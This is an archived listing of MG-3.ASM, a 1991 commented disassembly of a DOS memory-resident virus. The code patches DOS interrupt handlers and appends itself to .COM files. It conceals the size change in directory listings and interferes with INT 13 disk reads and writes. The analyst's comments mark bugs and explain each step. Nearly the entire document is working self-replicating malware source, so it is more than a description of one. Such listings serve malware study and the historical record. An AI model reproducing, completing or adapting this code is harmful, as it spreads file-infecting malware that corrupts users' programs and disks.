home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MG-3.ASM < prev    next >
Assembly Source File  |  1991-01-30  |  9KB  |  339 lines

  1.     page    ,132
  2. ;
  3. ;  name: mg-3.vom
  4. ;
  5. ;  program type: com/bin
  6. ;
  7. ;  cpu type: 8086
  8. ;
  9. ;  program loaded at 0000:01f8
  10. ;
  11. ;  physical eof at 0000:03f5
  12. ;
  13. ;  program entry point at 0000:01f8
  14. ;
  15. fun    segment
  16. assume    cs:fun,ds:fun,es:fun,ss:fun
  17. ;
  18. ;  references before the start of code space
  19. ;
  20.     org    0006h
  21. h_0006    label    word
  22.     org    004ch
  23. h_004c    label    word
  24.     org    004eh
  25. h_004e    label    word
  26.     org    0090h
  27. h_0090    label    word
  28.     org    0092h
  29. h_0092    label    word
  30. ;
  31. ;  data references to code space addresses
  32. ;
  33. ;    org    0339h
  34. ;h_0339    label    byte
  35. ;
  36. ;  start of program
  37. ;
  38.     org    01f8h
  39. h_01f8:
  40.     call    h_0204                ;goto virus
  41.     nop    
  42.     mov    ax,4c00h
  43.     int    21h                ;terminate program
  44. ;
  45. h_0201    db    0ebh,02h,90h            ;saved_prog_start
  46. h_0204:
  47.     xchg    ax,dx                ;save ax
  48.     pop    di                ;get return address
  49.     dec    di                ;back by 2
  50.     dec    di                ;to CALL ofs
  51.     mov    si,[di]                ;get call ofs
  52.     dec    di                ;back 1 to start of program
  53.     add    si,di                ;call ofs plus prog start
  54.                         ;= saved_prog_start
  55.     push    cs                ;save cs
  56.     push    di                ;and di for program start
  57.     cld                    ;up!
  58.     movsw                    ;replace 1st word
  59.     movsb                    ;and 3rd byte of program
  60.     mov    ax,4b04h            ;fn = virus ID
  61.     int    21h                ;call DOS
  62.     jae    h_027f                ;OK (installed), skip this
  63.     xor    ax,ax                ;get a 0
  64.     mov    es,ax                ;address INT seg
  65.     mov    di,0204h            ;es:di = new virus home
  66.     mov    cx,offset h_03f5-h_0204        ;virus size (01f1h)
  67.     repz    movsb                ;copy virus to low mem
  68.     les    di,[0006h]            ;get seg:ofs of CPMtype doscall
  69.     mov    al,0eah                ;JMPF instruction
  70.     dec    cx                ;cx = 0FFFFh
  71.     repnz    scasb                ;find JMPF
  72.     les    di,es:[di]            ;get seg:ofs to DOS
  73.     sub    di,-21h                ;up to ??
  74.     jmp    0000h:0239h            ;goto virus in low memory
  75. h_0239:
  76.     push    es                ;DOS seg
  77.     pop    ds                ;to ds
  78.     mov    si,[di-04h]            ;get ptr to max_dos_fn
  79.     lodsb                    ;get that byte
  80.     cmp    al,68h                ;at least 68?
  81.     mov    [di-03h],al            ;set immediate compare value
  82.     mov    word ptr [di-05h],0fc80h    ;CMP AH,xx instruction
  83.     mov    word ptr [di-07h],0fccdh    ;INT 0FCH instruction
  84.     push    cs                ;current segment
  85.     pop    ds                ;to ds
  86.     mov    [03fch],di            ;set INT FF ofs to DOS entry
  87.     mov    [03feh],es            ;and INT FF seg to DOS entry
  88.                 ;BUG: need to have INT FF point to the
  89.                 ;     CMP AH,xx instruction they
  90.                 ;     have set up!!!
  91.     mov    byte ptr [h_0339],0ah        ;set dosver_skip
  92.     jnae    h_026e                ;not DOS 3.3+, skip this
  93.     mov    byte ptr [h_0339],00h        ;reset dosver_skip
  94.     mov    word ptr [h_07b4],offset h_03db    ;set ofs of saved INT 13 vector
  95.     mov    [h_07b6],cs            ;and seg of saved INT 13 vector
  96.                         ;in IBMBIO.COM
  97.                 ;NOTE: How stable are these locations?!?!?!
  98. h_026e:
  99.     mov    al,0a9h                ;TEST AX,xxxx instruction
  100. h_0270:
  101.     repnz    scasb                ;find it
  102.     cmp    word ptr es:[di],-28h        ;immediate value = 0FFD8h?
  103.                 ;NOTE: test for illegal flag values
  104.     jnz    h_0270                ;no, try again
  105.     mov    al,18h                ;new immediate value: 0FF18h
  106.                 ;NOTE: remove "our" flag from illegal values
  107.     stosb                    ;modify test instr
  108.     push    ss                ;copy PSP seg
  109.     pop    ds                ;to ds
  110.     push    ss                ;and again
  111.     pop    es                ;to es
  112. h_027f:
  113.     xchg    ax,dx                ;get original AX back
  114.     retf                    ;and execute infected program
  115. ;
  116. ;            intfchere
  117. ;
  118. h_0281:
  119.     push    ax                ;save regs
  120.     push    dx
  121.     push    ds
  122.     push    cx
  123.     push    bx
  124.     push    es
  125.     cmp    ax,4b04h            ;fn = virus ID?
  126.     jz    h_02ad                ;yes, cleanup and exit NC
  127.     xchg    ax,cx                ;save ax
  128.     mov    ah,2fh                ;fn = get DTA
  129.     int    0ffh                ;call DOS
  130.     cmp    ch,11h                ;fn = FCB find first?
  131.     jz    h_029b                ;yes, stop here
  132.     cmp    ch,12h                ;fn = FCB find next?
  133.     jnz    h_02b4                ;no, skip this
  134. h_029b:
  135.     xchg    ax,cx                ;get fn back
  136.     int    0ffh                ;call to DOS
  137.     push    ax                ;save return code
  138.     test    byte ptr es:[bx+13h],0c0h    ;check our attribute bits
  139.     jz    h_02ac                ;not set, skip this
  140.     sub    word ptr es:[bx+24h],offset h_03f5-h_0201
  141.                     ;update filesize to hide virus (01f4h)
  142. h_02ac:
  143.     pop    ax                ;restore regs
  144. h_02ad:
  145.     pop    es
  146.     pop    bx
  147.     pop    cx
  148.     add    sp,+0ch                ;cleanup stack
  149.     iret                    ;and return to caller
  150.                 ;BUG: Should preserve returned flags!
  151. h_02b4:
  152.     mov    ah,19h                ;fn = get current disk
  153.     int    0ffh                ;call to DOS
  154.     push    ax                ;save disk
  155.     cmp    ch,36h                ;fn = get disk free space?
  156.     jz    h_02e9                ;yes, stop here
  157.     cmp    ch,4eh                ;fn = find first?
  158.     jz    h_02e0                ;yes, stop here
  159.     cmp    ch,4bh                ;fn = load/execute?
  160.     jz    h_02e0                ;yes, stop here
  161.     cmp    ch,47h                ;fn = get current dir?
  162.     jnz    h_02d1                ;no, skip this
  163.     cmp    al,02h                ;drive >= C:?
  164.     jae    h_02ee                ;yes, stop here
  165. h_02d1:
  166.     cmp    ch,5bh                ;fn = create new file?
  167.     jz    h_02e0                ;yes, stop here
  168.     shr    ch,1                ;fn / 2
  169.     cmp    ch,1eh                ;fn = 3C or 3D?
  170.                         ;create file or open file?
  171.     jz    h_02e0                ;yes, stop here
  172.     jmp    h_03bb                ;else continue DOS call
  173. h_02e0:
  174.     mov    ax,121ah            ;fn = get file's drive
  175.     xchg    si,dx                ;ds:si = filename
  176.     int    2fh                ;multiplex interrupt
  177.     xchg    ax,dx                ;ax = old si, dx = drive
  178.     xchg    ax,si                ;old si to si
  179. h_02e9:
  180.     mov    ah,0eh                ;fn = set current disk
  181.     dec    dx                ;drive A: = 0, B: = 2, etc
  182.     int    0ffh                ;call to DOS
  183. h_02ee:
  184.     push    es                ;save dta seg
  185.     push    bx                ;and dta ofs
  186.     sub    sp,+2ch                ;allocate locals
  187.     mov    dx,sp                ;get ptr to local DTA
  188.     push    sp                ;save ptr to local DTA
  189.     mov    ah,1ah                ;fn = set DTA
  190.     push    ss                ;stack segment
  191.     pop    ds                ;is DTA seg
  192.     int    0ffh                ;call to DOS
  193.     mov    bx,dx                ;bx = ptr to DTA
  194.     push    cs                ;current segment
  195.     pop    ds                ;to ds
  196.     mov    ah,4eh                ;fn = find first matching file
  197.     mov    dx,offset h_03e9        ;ds:dx = wildcard_com
  198.     mov    cx,0003h            ;attributes = HIDDEN, Read-Only
  199.     int    0ffh                ;call to DOS
  200.     jnae    h_0319                ;error, cleanup and exit
  201. h_030c:
  202.     test    byte ptr ss:[bx+15h],80h    ;our attribute set?
  203.     jz    h_031c                ;no, continue
  204.             ;BUG: If it will re-infect a file with the
  205.             ;     MG-2 attribute set, then the above
  206.             ;     size change mask will FAIL!
  207. h_0313:
  208.     mov    ah,4fh                ;fn = find next matching file
  209.     int    0ffh                ;call to DOS
  210.     jae    h_030c                ;OK, check out this file
  211. h_0319:
  212.     jmp    h_03b2                ;cleanup and exit
  213. h_031c:
  214.     cmp    byte ptr ss:[bx+1bh],0fdh    ;file too big?
  215.     ja    h_0313                ;yes, try next file
  216.     mov    word ptr [0090h],offset h_03c7    ;set INT24HERE ofs
  217.     mov    [0092h],cs            ;and INT24HERE seg
  218.                 ;NOTE: The original values are NOT saved!
  219.     les    ax,[004ch]            ;get INT 13 vector
  220.     mov    [h_03f7],ax            ;save oldint13ofs
  221.     mov    [h_03f9],es            ;and oldint13seg
  222. h_0339    equ    $+1        ;dosver_skip
  223.     jmp    short h_033a            ;if not DOS 3.3+, skip this
  224. h_033a:
  225.     mov    word ptr [004ch],offset h_03ca    ;set ofs of INT13HERE_2
  226.     mov    [004eh],cs            ;and new INT 13 seg, too
  227. ;
  228. ;   dosver_skip comes here
  229. ;
  230.     push    ss                ;DTA seg
  231.     pop    ds                ;to ds
  232.     push    word ptr [bx+16h]        ;save file time
  233.     push    word ptr [bx+18h]        ;and file date
  234.     push    word ptr [bx+15h]        ;and file attributes
  235.     lea    dx,[bx+1eh]            ;ds:dx = name found in DTA
  236.     mov    ax,4301h            ;fn = set file attributes
  237.     pop    cx                ;get file attributes
  238.     and    cx,00feh            ;high byte, R/O bit off
  239.     or    cl,0c0h                ;set our attributes
  240.     int    0ffh                ;call to DOS
  241.     mov    ax,3d02h            ;fn = open file for read/write
  242.     int    0ffh                ;call to DOS
  243.     xchg    ax,bx                ;handle to bx
  244.     push    cs                ;current segment
  245.     pop    ds                ;to ds
  246.     mov    ah,3fh                ;fn = read file
  247.     mov    cx,0003h            ;size of saved_prog_start
  248.     mov    dx,offset h_0201        ;ds:dx = saved_prog_start
  249.     int    0ffh                ;call to DOS
  250.     mov    ax,4202h            ;fn = lseek to EOF+CX:DX
  251.     xor    dx,dx                ;cx:dx = 0
  252.     mov    cx,dx
  253.     int    0ffh                ;call to DOS
  254.     mov    [h_03f5],ax            ;save virus_call_ofs
  255.     mov    ah,40h                ;fn = write to file
  256.     mov    cx,offset h_03f5-h_0201        ;virus size (01f4h)
  257.     mov    dx,offset h_0201        ;ds:dx = this virus
  258.     int    0ffh                ;call to DOS
  259.     jnae    h_039c                ;error, cleanup and quit
  260.     mov    ax,4200h            ;fn = lseek to BOF+CX:DX
  261.     xor    dx,dx                ;cx:dx = 0
  262.     mov    cx,dx
  263.     int    0ffh                ;call to DOS
  264.     mov    ah,40h                ;fn = write to file
  265.     mov    cx,0003h            ;size of virus_call
  266.     mov    dx,offset h_03f4        ;ds:dx = virus_call
  267.     int    0ffh                ;call to DOS
  268. h_039c:
  269.     mov    ax,5701h            ;fn = set file time/date
  270.     pop    dx                ;restore file date
  271.     pop    cx                ;and file time
  272.     int    0ffh                ;call to DOS
  273.     mov    ah,3eh                ;fn = close file
  274.     int    0ffh                ;call to DOS
  275.     les    ax,[h_03f7]            ;get oldint13
  276.     mov    [004ch],ax            ;restore INT 13 ofs
  277.     mov    [004eh],es            ;and INT 13 seg
  278. h_03b2:
  279.     add    sp,+2eh                ;clean stuff off stack
  280.     pop    dx                ;restore old DTA ofs
  281.     pop    ds                ;and old DTA seg
  282.     mov    ah,1ah                ;fn = set DTA
  283.     int    0ffh                ;call to DOS
  284. h_03bb:
  285.     pop    dx                ;get default drive back
  286.     mov    ah,0eh                ;fn = set current drive
  287.     int    0ffh                ;call to DOS
  288.     pop    es                ;restore regs
  289.     pop    bx
  290.     pop    cx
  291.     pop    ds
  292.     pop    dx
  293.     pop    ax
  294.     iret                    ;continue INT 21
  295. ;
  296. ;            int24here
  297. ;
  298. h_03c7:
  299.     mov    al,03h                ;response = FAIL
  300.     iret                    ;and done
  301. ;
  302. ;            int13here_2
  303. ;
  304. h_03ca:
  305.     cmp    ah,03h                ;fn = write?
  306.     jnz    h_03d6                ;no, skip this
  307.     inc    byte ptr cs:[h_03ef]        ;update ??
  308.     dec    ah                ;change function to read
  309. h_03d6:
  310.     jmp    dword ptr cs:[h_03f7]        ;and continue INT 13
  311. ;
  312. ;            int13here
  313. ;
  314. h_03db:
  315.     shr    byte ptr cs:[h_03ef],1        ;update ??
  316.     jae    h_03e4                ;yes, skip this
  317.     inc    ah                ;change function
  318.             ;i.e. read changes to write, etc!
  319. h_03e4:
  320.     jmp    dword ptr cs:[h_07b0]        ;continue INT 13
  321. ;
  322. h_03e9    db    "* .COM"            ;wildcard_com
  323. h_03ef    db    00h
  324.             ;NOTE: location of following data CANNOT change!
  325. h_03f0    dw    h_0281,0000h            ;INT 0FCH vector!
  326. h_03f4    db    0e8h                ;virus_call
  327. h_03f5    equ    $
  328. ;
  329. ;  references after the end of code space
  330. ;
  331.     org    03f5h
  332. h_03f5    label    word        ;virus_call_ofs
  333.     org    03f7h
  334. h_03f7    label    word        ;oldint13ofs
  335.     org    03f9h
  336. h_03f9    label    word        ;oldint13seg
  337. fun    ends
  338.     end    h_01f8
  339.